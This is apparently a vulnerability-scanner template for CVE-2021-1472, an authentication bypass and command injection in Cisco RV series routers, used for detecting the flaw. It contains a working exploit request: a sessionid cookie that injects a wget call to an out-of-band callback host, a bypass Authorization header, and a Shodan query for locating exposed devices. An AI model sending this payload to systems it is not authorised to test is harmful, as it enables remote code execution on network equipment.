82 lines
3.3 KiB
YAML
82 lines
3.3 KiB
YAML
id: CVE-2021-1472
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info:
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name: Cisco Small Business RV Series - OS Command Injection
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author: gy741
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severity: critical
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description: |
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Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.
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remediation: |
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Apply the latest security patches or firmware updates provided by Cisco to mitigate this vulnerability.
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reference:
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- https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
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- https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-1472
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- https://nvd.nist.gov/vuln/detail/CVE-2021-1473
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- http://seclists.org/fulldisclosure/2021/Apr/39
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-1472
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cwe-id: CWE-287,CWE-119
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epss-score: 0.97318
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epss-percentile: 0.99841
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cpe: cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: cisco
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product: rv160_firmware
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shodan-query: http.html:"Cisco rv340"
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tags: packetstorm,seclists,auth-bypass,injection,cve,cve2021,cisco,rce,intrusive
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http:
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- raw:
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- |
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POST /upload HTTP/1.1
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Host: {{Hostname}}
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Cookie: sessionid='`wget http://{{interactsh-url}}`'
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Authorization: QUt6NkpTeTE6dmk4cW8=
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Content-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="option"
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5NW9Cw1J
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="destination"
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J0I5k131j2Ku
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="file.path"
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EKsmqqg0
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="file"; filename="config.xml"
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Content-Type: application/xml
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qJ57CM9
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="filename"
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JbYXJR74n.xml
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="GXbLINHYkFI"
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<input><fileType>configuration</fileType><source><location-url>FILE://Configuration/config.xml</location-url></source><destination><config-type>config-running</config-type></destination></input>
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-----------------------------392306610282184777655655237536--
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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- type: word
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part: body
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words:
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- '"jsonrpc":'
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# digest: 4a0a0047304502201b783b958d2ec8db03f20f830629df7d607694170e79409f8cbfa34e3597a9a2022100bf6244f56172ecb5af66656f111f9ebc20bc7d21a7c32cab1ca385e2a2213ee4:922c64590222798bb761d5b6d8e72950
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